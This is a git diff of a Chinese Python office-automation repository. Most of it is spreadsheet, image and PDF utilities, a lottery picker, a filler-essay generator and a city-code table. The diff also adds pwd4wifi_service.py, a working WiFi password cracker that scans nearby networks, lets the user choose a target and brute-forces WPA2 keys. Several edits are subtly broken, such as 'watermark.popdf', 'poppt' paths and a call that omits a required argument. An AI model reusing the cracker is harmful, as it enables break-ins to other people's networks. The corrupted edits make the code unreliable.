split_data_dict.get(temp_data, []) + temp_data_list.append(row_data) + split_data_dict[temp_data] = temp_data_list + new_filepath = generate_xls(filepath, split_data_dict) + return "数据保存在新文件中,文件名:{}".format(new_filepath) + + +def generate_xlsx(filepath: str, worksheet_data: dict): + datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S') + new_filepath = filepath.replace('.xlsx', '_Split_{}.xlsx'.format(datetime_str)) + new_workbook = openpyxl.Workbook() + for worksheet_name, row_data_list in worksheet_data.items(): + new_worksheet = new_workbook.create_sheet(worksheet_name) + for row_data in row_data_list: + new_worksheet.append(row_data) + new_workbook.save(new_filepath) + return new_filepath + + +def process_xlsx(filepath: str, column: int, worksheet_name: str = None): + try: + workbook = openpyxl.load_workbook(filepath, read_only=True, data_only=True) + except: + return "文件读取异常:{}".format(filepath) + if worksheet_name: + worksheet = workbook.get_sheet_by_name(worksheet_name) + else: + worksheet = workbook.active + if worksheet.max_column < column: + return "最大列数是{},取不到第{}列".format(worksheet.max_column, column) + + split_data_dict = {} + for row in worksheet.rows: + row_data = [cell.value if cell.value else ' ' for cell in row] + temp_data = row_data[column - 1] + temp_data_list = split_data_dict.get(temp_data, []) + temp_data_list.append(row_data) + split_data_dict[temp_data] = temp_data_list + new_filepath = generate_xlsx(filepath, split_data_dict) + return "数据保存在新文件中,文件名:{}".format(new_filepath) + + +def split_excel_by_column(filepath: str, column: int, worksheet_name: str = None): + if filepath.endswith('.xlsx'): + result = process_xlsx(filepath, column, worksheet_name) + elif filepath.endswith('.xls'): + result = process_xls(filepath, column, worksheet_name) + else: + print("文件格式不对,不进行处理") + return "文件格式不对,不进行处理" + print(result) + return result + + +if __name__ == "__main__": + filename = 'sedemo.xls' + # filename = 'SEdemo.xlsx' + result = split_excel_by_column(filename, 6) # 处理文件,表格的第六列,worksheet_name指定工作表,不指定则读取文件默认工作表 + print(result) diff --git a/office/lib/excel/__init__.py b/office/lib/excel/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/lib/image/__init__.py b/office/lib/image/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/service/image/add_watermark_service.py b/office/lib/image/add_watermark_service.py similarity index 100% rename from service/image/add_watermark_service.py rename to office/lib/image/add_watermark_service.py diff --git a/office/lib/image/eliminate_background.py b/office/lib/image/eliminate_background.py new file mode 100644 index 0000000..311a5f6 --- /dev/null +++ b/office/lib/image/eliminate_background.py @@ -0,0 +1,70 @@ +""" +功能:消除图片背景 +""" + +from PIL import Image + +def _hex_to_rgb(hex): + """ + 十六进制转RGB + """ + if hex[0] != '#' or len(hex) != 7: + print('注意:十六进制格式颜色错误,请输入7位以\'#\'开头的字符串\n') + return None + else: + r = int('0x' + hex[1:3], 16) + g = int('0x' + hex[3:5], 16) + b = int('0x' + hex[5:7], 16) + return (r, g, b) + +def eliminate_bc(src_img_path, save_img_path, margin=30, bc_color=None): + """ + 将图片的背景变成透明色 + 参数: + src_img_path: string, 原始图片存储路径 + margin: int, 和背景颜色的差异值 + bc_color, string or tuple 背景颜色值(十六进制或RGB值) + """ + img = Image.open(src_img_path) + width, height = img.size + + # 获取背景颜色的RGB值 + if bc_color: + # 给定背景色 + if isinstance(bc_color, str): + r, g, b = _hex_to_rgb(bc_color) + else: + r, g, b = bc_color + else: + # 未给定背景色,拾取图片左上角颜色作为背景色 + pix = img.load() + if src_img_path.endswith('.jpg'): + r, g, b = pix[int(width / 20), int(height / 20)] + elif src_img_path.endswith('.png'): + r, g, b, _ = pix[int(width / 20), int(height / 20)] + + img = img.convert("RGBA") + datas = img.getdata() + newData = list() + + # 背景填充零透明度 + for item in datas: + if (item[0] >= max(r - margin, 0) and item[0] <= min(r + margin, 255)) \ + and (item[1] >= max(g - margin, 0) and item[1] <= min(g + margin, 255)) \ + and (item[2] >= max(b - margin, 0) and item[2] <= min(b + margin, 255)): + newData.append((255, 255, 255, 0)) + else: + newData.append(item) + img.putdata(newData) + + # 保存新图片 + img.save(save_img_path, "PNG") + +if __name__ == '__main__': + + # 未设定背景颜色 + eliminate_bc('test.jpg', 'a.png') + + # 设定背景颜色 + # eliminate_bc('test.jpg', 'a.png', bc_color=(255, 255, 255)) + # eliminate_bc('test.jpg', 'a.png', bc_color='#FFFFFF') diff --git a/office/lib/pdf/__init__.py b/office/lib/pdf/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/service/pdf/add_watermark_service.py b/office/lib/pdf/add_watermark_service.py similarity index 63% rename from service/pdf/add_watermark_service.py rename to office/lib/pdf/add_watermark_service.py index 199dc77..1c78f80 100644 --- a/service/pdf/add_watermark_service.py +++ b/office/lib/pdf/add_watermark_service.py @@ -1,15 +1,17 @@ # -*- coding: utf-8 -*- import reportlab -from PyPDF2 import PdfFileWriter, PdfFileReader +from PyPDF2 import PdfFileWriter, PdfFileReader, PdfReader, PdfWriter from reportlab.pdfgen import canvas from reportlab.pdfbase.ttfonts import TTFont from reportlab.pdfbase.pdfmetrics import registerFont +from tqdm import tqdm + def create_watermark(content): """创建PDF水印模板 """ # 创建一个PDF文件来作为一个水印文件 - c = canvas.Canvas('watermark.pdf') + c = canvas.Canvas('watermark.popdf') reportlab.pdfbase.pdfmetrics.registerFont( reportlab.pdfbase.ttfonts.TTFont('simfang', 'C:/Windows/Fonts/simfang.ttf')) c.setFont('simfang', 20) @@ -19,17 +21,17 @@ def create_watermark(content): c.drawCentredString(0, 0, content) c.restoreState() c.save() - pdf_watermark = PdfFileReader('watermark.pdf') + pdf_watermark = PdfReader('watermark.popdf') return pdf_watermark def pdf_add_watermark(pdf_file_in, pdf_file_mark, pdf_file_out): # print(pdf_file_out) - pdf_output = PdfFileWriter() + pdf_output = PdfWriter() input_stream = open(pdf_file_in, 'rb') - pdf_input = PdfFileReader(input_stream, strict=False) + pdf_input = PdfReader(input_stream, strict=False) # 获取PDF文件的页数 - if pdf_input.getIsEncrypted(): + if pdf_input.is_encrypted: print("文件已被加密") PDF_Passwd = input("请输入PDF密码:") # 尝试用空密码解密 @@ -38,16 +40,16 @@ def pdf_add_watermark(pdf_file_in, pdf_file_mark, pdf_file_out): except Exception: print(f"尝试用密码{PDF_Passwd}解密失败.") return False - pageNum = pdf_input.getNumPages() + pageNum = len(pdf_input.pages) # 读入水印pdf文件 # print(pdf_file_mark) mark_stream = open(pdf_file_mark, mode='rb') - pdf_watermark = PdfFileReader(mark_stream, strict=False) + pdf_watermark = PdfReader(mark_stream, strict=False) # 给每一页打水印 - for i in range(pageNum): - page = pdf_input.getPage(i) - page.mergePage(pdf_watermark.getPage(0)) - page.compressContentStreams() # 压缩内容 - pdf_output.addPage(page) - pdf_output.write(open(pdf_file_out, 'wb')) - + for pageNumber in tqdm(range(pageNum)): + page = pdf_input.pages[pageNumber] + page.merge_page(pdf_watermark.pages[0]) + page.compress_content_streams() # 压缩内容 + pdf_output.add_page(page) + with open(pdf_file_out, 'wb') as pdf_file_out_f: + pdf_output.write(pdf_file_out_f) diff --git a/office/lib/ppt/__init__.py b/office/lib/ppt/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/service/ppt/ppt2pdf_service.py b/office/lib/ppt/ppt2pdf_service.py similarity index 94% rename from service/ppt/ppt2pdf_service.py rename to office/lib/ppt/ppt2pdf_service.py index 9ee1b47..ecd344c 100644 --- a/service/ppt/ppt2pdf_service.py +++ b/office/lib/ppt/ppt2pdf_service.py @@ -21,8 +21,8 @@ def ppt2pdf_single(filename, output_filename): # ppt_app.Visible = True # 程序操作应用程序的过程是否可视化 # 3). 通过PPT的应用程序打开指定的PPT文件 - # filename = "C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pptx" - # output_filename = "C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pdf" + # filename = "C:/Users/Administrator/Desktop/PPT办公自动化/poppt/PPT素材1.pptx" + # output_filename = "C:/Users/Administrator/Desktop/PPT办公自动化/poppt/PPT素材1.popdf" ppt = ppt_app.Presentations.Open(filename) # 4). 打开的PPT另存为pdf文件。17数字是ppt转图片,32数字是ppt转pdf。 diff --git a/office/lib/tools/__init__.py b/office/lib/tools/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/office/lib/tools/lottery8ticket.py b/office/lib/tools/lottery8ticket.py new file mode 100644 index 0000000..7793a2c --- /dev/null +++ b/office/lib/tools/lottery8ticket.py @@ -0,0 +1,71 @@ +import random + + +def SSL(): + red_ball = random.sample(range(1, 34), 6) + blue_ball = random.sample(range(1, 17), 1) + return f'双色球的号码是:红色球{red_ball},蓝色球{blue_ball}' + + +def D3(): + pass + + +def SLC(): + pass + + +def CCDLT(): + pass + + +def QXC(): + pass + + +def PL3(): + pass + + +def PL5(): + pass + + +def KL8(): + pass + + +def QWS(): + pass + + +def X_22_5(): + res = random.sample(range(1, 33), 5) # 1到22,不重复的5个数 + return res + + +def X_36_7(): + res = random.sample(range(1, 37), 7) # 1到36,不重复的7个数 + return res + + +def X_26_5(): + res = random.sample(range(1, 27), 5) + return res + + +ticket_kinds = { + "0": ["退出", None], + "1": ["双色球", SSL], + "2": ["福彩3D", D3], + "3": ["七乐彩", SLC], + "4": ["超级大乐透", CCDLT], + "5": ["七星彩", QXC], + "6": ["排列3", PL3], + "7": ["排列5", PL5], + "8": ["快乐8", KL8], + "9": ["七位数", QWS], + "10": ["22选5", X_22_5], + "11": ["36选7", X_36_7], + "12": ["25选5", X_26_5], +} diff --git a/office/lib/tools/pwd4wifi_service.py b/office/lib/tools/pwd4wifi_service.py new file mode 100644 index 0000000..8f81642 --- /dev/null +++ b/office/lib/tools/pwd4wifi_service.py @@ -0,0 +1,162 @@ +import pywifi +import time +from pywifi import const +import string +import random +import threading + + +# WiFi扫描模块 +def wifi_scan(): + # 初始化wifi + wifi = pywifi.PyWiFi() + # 使用第一个无线网卡 + interface = wifi.interfaces()[0] + # 开始扫描 + interface.scan() + for i in range(4): + time.sleep(1) + print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')') + print('\r扫描完成!\n' + '-' * 38) + print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')) + # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象 + bss = interface.scan_results() + # 存放wifi名的集合 + wifi_name_set = set() + for w in bss: + # 解决乱码问题 + wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) + wifi_name_set.add(wifi_name_and_signal) + # 存入列表并按信号排序 + wifi_name_list = list(wifi_name_set) + wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) + num = 0 + # 格式化输出 + while num < len(wifi_name_list): + print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) + num += 1 + print('-' * 38) + # 返回wifi列表 + return wifi_name_list + + +# WIFI破解模块 +def wifi_password_crack(wifi_name, pwd_len, pwd_list): + # 创建wifi对象 + wifi = pywifi.PyWiFi() + # 创建网卡对象,为第一个wifi网卡 + interface = wifi.interfaces()[0] + # 断开所有wifi连接 + interface.disconnect() + # 等待其断开 + while interface.status() == 4: + # 当其处于连接状态时,利用循环等待其断开 + pass + # 创建连接文件(对象) + profile = pywifi.Profile() + # wifi名称 + profile.ssid = wifi_name + # 需要认证 + profile.auth = const.AUTH_ALG_OPEN + # wifi默认加密算法 + profile.akm.append(const.AKM_TYPE_WPA2PSK) + profile.cipher = const.CIPHER_TYPE_CCMP + while True: + if pwd_list: + # wifi密码 + for pwd in pwd_list: + profile.key = pwd + # 删除所有wifi连接文件 + interface.remove_all_network_profiles() + # 设置新的wifi连接文件 + tmp_profile = interface.add_network_profile(profile) + # 开始尝试连接 + print(f'\r正在利用密码 {pwd} 尝试破解 ing...') + interface.connect(tmp_profile) + time.sleep(5) + # if time.time() - start_time < 2: + if interface.status() == 4: + print(f'\r连接成功!密码为:{pwd}') + exit(0) + print() + # print(start_time) + # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢) + print(f'{pwd_list}中,没有合适的密码') + else: + # wifi密码 + chars = string.digits + string.ascii_letters + pwd = ''.join(random.sample(chars * 10, pwd_len)) + profile.key = pwd + # 删除所有wifi连接文件 + interface.remove_all_network_profiles() + # 设置新的wifi连接文件 + tmp_profile = interface.add_network_profile(profile) + # 开始尝试连接 + print(f'\r正在利用密码 {pwd} 尝试破解 ing...') + interface.connect(tmp_profile) + time.sleep(5) + # if time.time() - start_time < 2: + if interface.status() == 4: + print(f'\r连接成功!密码为:{pwd}') + exit(0) + print() + # print(start_time) + # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢) + + +# 主函数 +def pwd4wifi_service(pwd_len, pwd_list): + # 退出标致 + exit_flag = 0 + # 目标编号 + target_num = -1 + while not exit_flag: + try: + print('WiFi密码破解'.center(35, '-')) + # 调用扫描模块,返回一个排序后的wifi列表 + wifi_list = wifi_scan() + # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理 + choose_exit_flag = 0 + while not choose_exit_flag: + try: + target_num = int(input('请选择你要尝试破解的wifi:')) + # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入 + if target_num in range(len(wifi_list)): + # 二次确认 + while not choose_exit_flag: + try: + choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)')) + # 对用户输入进行小写处理,并判断 + if choose.lower() == 'y': + choose_exit_flag = 1 + elif choose.lower() == 'n': + break + # 处理用户其它字母输入 + else: + print('只能输入 Y/N 哦o(* ̄︶ ̄*)o') + # 处理用户非字母输入 + except ValueError: + print('只能输入 Y/N 哦o(* ̄︶ ̄*)o') + # 退出破解 + if choose_exit_flag == 1: + break + else: + print('请重新输入哦(*^▽^*)') + except ValueError: + print('只能输入数字哦o(* ̄︶ ̄*)o') + # 密码破解,传入用户选择的wifi名称 + # 第一个参数是方法,第二个参数是方法的参数 + # t1 = threading.Thread(target=wifi_password_crack, args=(wifi_list[target_num][1], pwd_len,)) # target是要执行的函数名(不是函数),args是函数对应的参数,以元组的形式存在 + # t2 = threading.Thread(target=wifi_password_crack, args=(wifi_list[target_num][1], pwd_len,)) # target是要执行的函数名(不是函数),args是函数对应的参数,以元组的形式存在 + # t1.start() + # t2.start() + wifi_password_crack(wifi_list[target_num][1], pwd_len, pwd_list) + print('-' * 38) + exit_flag = 1 + except Exception as e: + print(e) + raise e + + +if __name__ == '__main__': + pwd4wifi_service(pwd_len=8) diff --git a/office/lib/tools/qoute_dict_create_article.py b/office/lib/tools/qoute_dict_create_article.py new file mode 100644 index 0000000..9c767a2 --- /dev/null +++ b/office/lib/tools/qoute_dict_create_article.py @@ -0,0 +1,222 @@ +qoute = { + "title": "学生会退会", + "famous": [ + "爱迪生a,天才是百分之一的勤奋加百分之九十九的汗水。b", + "查尔斯·史a,一个人几乎可以在任何他怀有无限热忱的事情上成功。b", + "培根说过,深窥自己的心,而后发觉一切的奇迹在你自己。b", + "歌德曾经a,流水在碰到底处时才会释放活力。b", + "莎士比亚a,那脑袋里的智慧,就像打火石里的火花一样,不去打它是不肯出来的。b", + "戴尔·卡耐基a,多数人都拥有自己不了解的能力和机会,都有可能做到未曾梦想的事情。b", + "白哲特a,坚强的信念能赢得强者的心,并使他们变得更坚强。b", + "伏尔泰a, 不经巨大的困难,不会有伟大的事业。b", + "富勒曾经a, 苦难磨炼一些人,也毁灭另一些人。b", + "文森特·皮尔a, 改变你的想法,你就改变了自己的世界。b", + "拿破仑·希尔a, 不要等待,时机永远不会恰到好处。b", + "塞涅卡a, 生命如同寓言,其价值不在与长短,而在与内容。b", + "奥普拉·温弗瑞a, 你相信什么,你就成为什么样的人。b", + "吕凯特a, 生命不可能有两次,但许多人连一次也不善于度过。b", + "莎士比亚a, 人的一生是短的,但如果卑劣地过这一生,就太长了。b", + "笛卡儿a, 我的努力求学没有得到别的好处,只不过是愈来愈发觉自己的无知。b", + "左拉a, 生活的道路一旦选定,就要勇敢地走到底,决不回头。b", + "米歇潘a, 生命是一条艰险的峡谷,只有勇敢的人才能通过。b", + "吉姆·罗恩a, 要么你主宰生活,要么你被生活主宰。b", + "日本谚语a, 不幸可能成为通向幸福的桥梁。b", + "海贝尔a, 人生就是学校。在那里,与其说好的教师是幸福,不如说好的教师是不幸。b", + "杰纳勒尔·乔治·S·巴顿a, 接受挑战,就可以享受胜利的喜悦。b", + "德谟克利特a, 节制使快乐增加并使享受加强。b", + "裴斯泰洛齐a, 今天应做的事没有做,明天再早也是耽误了。b", + "歌德a, 决定一个人的一生,以及整个命运的,只是一瞬之间。b", + "卡耐基a, 一个不注意小事情的人,永远不会成就大事业。b", + "卢梭a, 浪费时间是一桩大罪过。b", + "康德a, 既然我已经踏上这条道路,那么,任何东西都不应妨碍我沿着这条路走下去。b", + "克劳斯·莫瑟爵士a, 教育需要花费钱,而无知也是一样。b", + "伏尔泰a, 坚持意志伟大的事业需要始终不渝的精神。b", + "亚伯拉罕·林肯a, 你活了多少岁不算什么,重要的是你是如何度过这些岁月的。b", + "韩非a, 内外相应,言行相称。b", + "富兰克林a, 你热爱生命吗?那么别浪费时间,因为时间是组成生命的材料。b", + "马尔顿a, 坚强的信心,能使平凡的人做出惊人的事业。b", + "笛卡儿a, 读一切好书,就是和许多高尚的人谈话。b", + "塞涅卡a, 真正的人生,只有在经过艰难卓绝的斗争之后才能实现。b", + "易卜生a, 伟大的事业,需要决心,能力,组织和责任感。b", + "歌德a, 没有人事先了解自己到底有多大的力量,直到他试过以后才知道。b", + "达尔文a, 敢于浪费哪怕一个钟头时间的人,说明他还不懂得珍惜生命的全部价值。b", + "佚名a, 感激每一个新的挑战,因为它会锻造你的意志和品格。b", + "奥斯特洛夫斯基a, 共同的事业,共同的斗争,可以使人们产生忍受一切的力量。 b", + "苏轼a, 古之立大事者,不惟有超世之才,亦必有坚忍不拔之志。b", + "王阳明a, 故立志者,为学之心也;为学者,立志之事也。b", + "歌德a, 读一本好书,就如同和一个高尚的人在交谈。b", + "乌申斯基a, 学习是劳动,是充满思想的劳动。b", + "别林斯基a, 好的书籍是最贵重的珍宝。b", + "富兰克林a, 读书是易事,思索是难事,但两者缺一,便全无用处。b", + "鲁巴金a, 读书是在别人思想的帮助下,建立起自己的思想。b", + "培根a, 合理安排时间,就等于节约时间。b", + "屠格涅夫a, 你想成为幸福的人吗?但愿你首先学会吃得起苦。b", + "莎士比亚a, 抛弃时间的人,时间也抛弃他。b", + "叔本华a, 普通人只想到如何度过时间,有才能的人设法利用时间。b", + "博a, 一次失败,只是证明我们成功的决心还够坚强。 维b", + "拉罗什夫科a, 取得成就时坚持不懈,要比遭到失败时顽强不屈更重要。b", + "莎士比亚a, 人的一生是短的,但如果卑劣地过这一生,就太长了。b", + "俾斯麦a, 失败是坚忍的最后考验。b", + "池田大作a, 不要回避苦恼和困难,挺起身来向它挑战,进而克服它。b", + "莎士比亚a, 那脑袋里的智慧,就像打火石里的火花一样,不去打它是不肯出来的。b", + "希腊a, 最困难的事情就是认识自己。b", + "黑塞a, 有勇气承担命运这才是英雄好汉。b", + "非洲a, 最灵繁的人也看不见自己的背脊。b", + "培根a, 阅读使人充实,会谈使人敏捷,写作使人精确。b", + "斯宾诺莎a, 最大的骄傲于最大的自卑都表示心灵的最软弱无力。b", + "西班牙a, 自知之明是最难得的知识。b", + "塞内加a, 勇气通往天堂,怯懦通往地狱。b", + "赫尔普斯a, 有时候读书是一种巧妙地避开思考的方法。b", + "笛卡儿a, 阅读一切好书如同和过去最杰出的人谈话。b", + "邓拓a, 越是没有本领的就越加自命不凡。b", + "爱尔兰a, 越是无能的人,越喜欢挑剔别人的错儿。b", + "老子a, 知人者智,自知者明。胜人者有力,自胜者强。b", + "歌德a, 意志坚强的人能把世界放在手中像泥块一样任意揉捏。b", + "迈克尔·F·斯特利a, 最具挑战性的挑战莫过于提升自我。b", + "爱迪生a, 失败也是我需要的,它和成功对我一样有价值。b", + "罗素·贝克a, 一个人即使已登上顶峰,也仍要自强不息。b", + "马云a, 最大的挑战和突破在于用人,而用人最大的突破在于信任人。b", + "雷锋a, 自己活着,就是为了使别人过得更美好。b", + "布尔沃a, 要掌握书,莫被书掌握;要为生而读,莫为读而生。b", + "培根a, 要知道对好事的称颂过于夸大,也会招来人们的反感轻蔑和嫉妒。b", + "莫扎特a, 谁和我一样用功,谁就会和我一样成功。b", + "马克思a, 一切节省,归根到底都归结为时间的节省。b", + "莎士比亚a, 意志命运往往背道而驰,决心到最后会全部推倒。b", + "卡莱尔a, 过去一切时代的精华尽在书中。b", + "培根a, 深窥自己的心,而后发觉一切的奇迹在你自己。b", + "罗曼·罗兰a, 只有把抱怨环境的心情,化为上进的力量,才是成功的保证。b", + "孔子a, 知之者不如好之者,好之者不如乐之者。b", + "达·芬奇a, 大胆和坚定的决心能够抵得上武器的精良。b", + "叔本华a, 意志是一个强壮的盲人,倚靠在明眼的跛子肩上。b", + "黑格尔a, 只有永远躺在泥坑里的人,才不会再掉进坑里。b", + "普列姆昌德a, 希望的灯一旦熄灭,生活刹那间变成了一片黑暗。b", + "维龙a, 要成功不需要什么特别的才能,只要把你能做的小事做得好就行了。b", + "郭沫若a, 形成天才的决定因素应该是勤奋。b", + "洛克a, 学到很多东西的诀窍,就是一下子不要学很多。b", + "西班牙a, 自己的鞋子,自己知道紧在哪里。b", + "拉罗什福科a, 我们唯一不会改正的缺点是软弱。b", + "亚伯拉罕·林肯a, 我这个人走得很慢,但是我从不后退。b", + "美华纳a, 勿问成功的秘诀为何,且尽全力做你应该做的事吧。b", + "俾斯麦a, 对于不屈不挠的人来说,没有失败这回事。b", + "阿卜·日·法拉兹a, 学问是异常珍贵的东西,从任何源泉吸收都不可耻。b", + "白哲特a, 坚强的信念能赢得强者的心,并使他们变得更坚强。 b", + "查尔斯·史考伯a, 一个人几乎可以在任何他怀有无限热忱的事情上成功。 b", + "贝多芬a, 卓越的人一大优点是:在不利与艰难的遭遇里百折不饶。b", + "莎士比亚a, 本来无望的事,大胆尝试,往往能成功。b", + "卡耐基a, 我们若已接受最坏的,就再没有什么损失。b", + "德国a, 只有在人群中间,才能认识自己。b", + "史美尔斯a, 书籍把我们引入最美好的社会,使我们认识各个时代的伟大智者。b", + "冯学峰a, 当一个人用工作去迎接光明,光明很快就会来照耀着他。b", + "吉格·金克拉a, 如果你能做梦,你就能实现它。b" + ], + "bosh": [ + "现在, 解决x的问题, 是非常非常重要的. 所以, ", + "我们不得不面对一个非常尴尬的事实, 那就是, ", + "x的发生, 到底需要如何做到, 不x的发生, 又会如何产生. ", + "而这些并不是完全重要, 更加重要的问题是, ", + "x, 到底应该如何实现. ", + "带着这些问题, 我们来审视一下x. ", + "所谓x, 关键是x需要如何写. ", + "我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.", + "问题的关键究竟为何? ", + "x因何而发生?", + "每个人都不得不面对这些问题. 在面对这种问题时, ", + "一般来讲, 我们都必须务必慎重的考虑考虑. ", + "要想清楚, x, 到底是一种怎么样的存在. ", + "了解清楚x到底是一种怎么样的存在, 是解决一切问题的关键.", + "就我个人来说, x对我的意义, 不能不说非常重大. ", + "本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. ", + "x, 发生了会如何, 不发生又会如何. ", + "在这种困难的抉择下, 本人思来想去, 寝食难安.", + "生活中, 若x出现了, 我们就不得不考虑它出现了的事实. ", + "这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.", + "我们都知道, 只要有意义, 那么就必须慎重考虑.", + "既然如此, ", + "那么, ", + "我认为, ", + "一般来说, ", + "总结的来说, ", + "既然如何, ", + "经过上述讨论, ", + "这样看来, ", + "从这个角度来看, ", + "我们不妨可以这样来想: ", + "这是不可避免的. ", + "可是,即使是这样,x的出现仍然代表了一定的意义. ", + "x似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. ", + "在这种不可避免的冲突下,我们必须解决这个问题. ", + "对我个人而言,x不仅仅是一个重大的事件,还可能会改变我的人生. " + ], + "after": [ + "这不禁令我深思. ", + "带着这句话, 我们还要更加慎重的审视这个问题: ", + "这启发了我. ", + "我希望诸位也能好好地体会这句话. ", + "这句话语虽然很短, 但令我浮想联翩. ", + "这句话看似简单,但其中的阴郁不禁让人深思. ", + "这句话把我们带到了一个新的维度去思考这个问题: ", + "这似乎解答了我的疑惑. " + ], + "before": [ + "曾经说过", + "在不经意间这样说过", + "说过一句著名的话", + "曾经提到过", + "说过一句富有哲理的话" + ] +} + +import random + +data = qoute +qoute_list = data["famous"] # a 代表前面垫话,b代表后面垫话 +prefix_line = data["before"] # 在名人名言前面弄点废话 +post_line = data['after'] # 在名人名言后面弄点废话 +line = data['bosh'] # 代表文章主要废话来源 + +theme = "学生会退会" + +repeatability = 2 + + +def create_article_shuffle(demo_list): + global repeatability + repeatability_pools = list(demo_list) * repeatability + while True: + random.shuffle(repeatability_pools) + for repeatability_item in repeatability_pools: + yield repeatability_item + + +next_line = create_article_shuffle(line) +next_qoute = create_article_shuffle(qoute_list) + + +def create_article_get_qoute(): + global next_qoute + theme = next(next_qoute) + theme = theme.replace("a", random.choice(prefix_line)) + theme = theme.replace("b", random.choice(post_line)) + return theme + + +def create_article_next_para(): + theme = ". " + theme += "\r\n" + theme += " " + return theme + + +def create_article_main(theme, line_num): + for x in theme: + tmp = str() + while (len(tmp) < line_num): + branches = random.randint(0, 100) + if branches < 5: + tmp += create_article_next_para() + elif branches < 20: + tmp += create_article_get_qoute() + else: + tmp += next(next_line) + tmp = tmp.replace("x", theme) + print(tmp) diff --git a/office/lib/tools/weather_city_code.py b/office/lib/tools/weather_city_code.py new file mode 100644 index 0000000..aa154ba --- /dev/null +++ b/office/lib/tools/weather_city_code.py @@ -0,0 +1,858 @@ +WEATHER_CITY_CODE_DIC = {'北京': 101010100, '海淀': 101010200, '朝阳': 101071201, '顺义': 101010400, '怀柔': 101010500, + '通州': 101190509, + '昌平': 101010700, '延庆': 101010800, '丰台': 101010900, '石景山': 101011000, '大兴': 101011100, + '房山': 101011200, + '密云': 101011300, '门头沟': 101011400, '平谷': 101011500, '八达岭': 101011600, '佛爷顶': 101011700, + '汤河口': 101011800, + '密云上甸子': 101011900, '斋堂': 101012000, '霞云岭': 101012100, '上海': 101020100, '闵行': 101020200, + '宝山': 101020300, + '川沙': 101020400, '嘉定': 101020500, '南汇': 101020600, '金山': 101230508, '青浦': 101020800, + '松江': 101060310, + '奉贤': 101021000, '崇明': 101021100, '陈家镇': 101021101, '引水船': 101021102, '徐家汇': 101021200, + '浦东': 101021300, + '天津': 101030100, '武清': 101030200, '宝坻': 101030300, '东丽': 101030400, '西青': 101030500, + '北辰': 101030600, + '宁河': 101030700, '汉沽': 101030800, '静海': 101030900, '津南': 101031000, '塘沽': 101031100, + '大港': 101031200, + '平台': 101031300, '蓟县': 101031400, '重庆': 101040100, '永川': 101040200, '合川': 101040300, + '南川': 101040400, + '江津': 101040500, '万盛': 101040600, '渝北': 101040700, '北碚': 101040800, '巴南': 101040900, + '长寿': 101041000, + '黔江': 101041100, '万州天城': 101041200, '万州龙宝': 101041300, '涪陵': 101041400, '开县': 101041500, + '城口': 101041600, + '云阳': 101041700, '巫溪': 101041800, '奉节': 101041900, '巫山': 101042000, '潼南': 101042100, + '垫江': 101042200, + '梁平': 101042300, '忠县': 101042400, '石柱': 101042500, '大足': 101042600, '荣昌': 101042700, + '铜梁': 101042800, + '璧山': 101042900, '丰都': 101043000, '武隆': 101043100, '彭水': 101043200, '綦江': 101043300, + '酉阳': 101043400, + '金佛山': 101043500, '秀山': 101043600, '沙坪坝': 101043700, '哈尔滨': 101050101, '双城': 101050102, + '呼兰': 101050103, + '阿城': 101050104, '宾县': 101050105, '依兰': 101050106, '巴彦': 101050107, '通河': 101050108, + '方正': 101050109, + '延寿': 101050110, '尚志': 101050111, '五常': 101050112, '木兰': 101050113, '齐齐哈尔': 101050201, + '讷河': 101050202, + '龙江': 101050203, '甘南': 101050204, '富裕': 101050205, '依安': 101050206, '拜泉': 101050207, + '克山': 101050208, + '克东': 101050209, '泰来': 101050210, '牡丹江': 101050301, '海林': 101050302, '穆棱': 101050303, + '林口': 101050304, + '绥芬河': 101050305, '宁安': 101050306, '东宁': 101050307, '佳木斯': 101050401, '汤原': 101050402, + '抚远': 101050403, + '桦川': 101050404, '桦南': 101050405, '同江': 101050406, '富锦': 101050407, '绥化': 101050501, + '肇东': 101050502, + '安达': 101050503, '海伦': 101050504, '明水': 101050505, '望奎': 101050506, '兰西': 101050507, + '青冈': 101050508, + '庆安': 101050509, '绥棱': 101050510, '黑河': 101050601, '嫩江': 101050602, '孙吴': 101050603, + '逊克': 101050604, + '五大连池': 101050605, '北安': 101050606, '大兴安岭': 101050701, '塔河': 101050702, '漠河': 101050703, + '呼玛': 101050704, + '呼中': 101050705, '新林': 101050706, '阿木尔': 101050707, '加格达奇': 101050708, '伊春': 101050801, + '乌伊岭': 101050802, + '五营': 101050803, '铁力': 101050804, '嘉荫': 101050805, '大庆': 101050901, '林甸': 101050902, + '肇州': 101050903, + '肇源': 101050904, '杜蒙': 101050905, '七台河': 101051002, '勃利': 101051003, '鸡西': 101051101, + '虎林': 101051102, + '密山': 101051103, '鸡东': 101051104, '鹤岗': 101051201, '绥滨': 101051202, '萝北': 101051203, + '双鸭山': 101051301, + '集贤': 101051302, '宝清': 101051303, '饶河': 101051304, '长春': 101060101, '农安': 101060102, + '德惠': 101060103, + '九台': 101060104, '榆树': 101060105, '双阳': 101060106, '吉林': 101060201, '舒兰': 101060202, + '永吉': 101060203, + '蛟河': 